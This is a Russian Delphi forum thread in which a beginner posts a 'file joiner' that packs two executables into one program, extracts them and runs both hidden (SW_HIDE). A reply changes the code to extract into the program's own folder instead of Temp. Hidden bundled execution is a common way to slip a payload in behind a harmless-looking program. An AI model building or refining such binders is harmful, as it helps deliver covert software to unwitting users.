![]() |
|
|
|||||||
| Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
![]() |
|
|
Опции темы | Поиск в этой теме | Опции просмотра |
|
|
|
#1
|
|||
|
|||
|
Всем привет, я как бы новичёк в Delphi. Поэтому прошу вас помочь мне.
Ниже имеется код, который склеивает два файла в одну программу. Запустив эту программу он извлекает из себя файлы в папку Temp, затем запускает их. Задача такова, что мне нужно, чтобы файлы извлекались в ту папку где находится сама программа, а не в папку Temp. Только напишите пожалуйста, что конкретно на что менять, а то я не разберусь(( Код:
program FLIERJOINER;
uses
Windows,Classes,shellapi;
{$R FJoiner.res}
function TempPath: String;
var
Buffer: array[0..1023] of Char;
begin
SetString(Result, Buffer, GetTempPath(Sizeof(Buffer)-1,Buffer));
end;
procedure ExtractRes(ResType, ResName, ResNewName : String);
var
Res : TResourceStream;
begin
Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
Res.SavetoFile(ResNewName);
Res.Free;
end;
procedure extract;
begin
ExtractRes('EXEFILE', 'first',TempPath+ '1.EXE');
ExtractRes('EXEFILE', 'second', TempPath+'2.EXE');
end;
begin
extract;
ShellExecute(0,nil,PCHar(TempPath+ '1.EXE'),nil,nil,SW_HIDE);
ShellExecute(0,nil,PCHar(TempPath+ '2.EXE'),nil,nil,SW_HIDE);
end. |
|
#2
|
||||
|
||||
|
Код:
procedure extract;
begin
ExtractRes('EXEFILE', 'first',IncludeTrailingPathDelimiter(ExtractFilePath(Application.ExeName))+ '1.EXE');
ExtractRes('EXEFILE', 'second', IncludeTrailingPathDelimiter(ExtractFilePath(Application.ExeName))+'2.EXE');
end;
begin
extract;
ShellExecute(0,nil,PCHar(IncludeTrailingPathDelimiter(ExtractFilePath(Application.ExeName))+ '1.EXE'),nil,nil,SW_HIDE);
ShellExecute(0,nil,PCHar(IncludeTrailingPathDelimiter(ExtractFilePath(Application.ExeName))+ '2.EXE'),nil,nil,SW_HIDE);
end. |
|
#3
|
||||
|
||||
|
Цитата:
Последний раз редактировалось Pilot_Red, 28.05.2011 в 19:31. |